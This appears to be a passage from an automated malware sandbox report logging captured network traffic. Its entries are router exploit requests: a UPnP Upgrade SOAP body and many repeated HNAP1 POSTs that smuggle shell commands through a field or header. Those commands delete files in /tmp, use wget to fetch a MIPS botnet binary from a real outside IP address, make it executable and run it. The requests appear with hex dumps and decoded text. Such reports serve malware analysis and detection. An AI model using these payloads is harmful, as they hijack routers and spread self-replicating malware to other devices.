72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GETData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
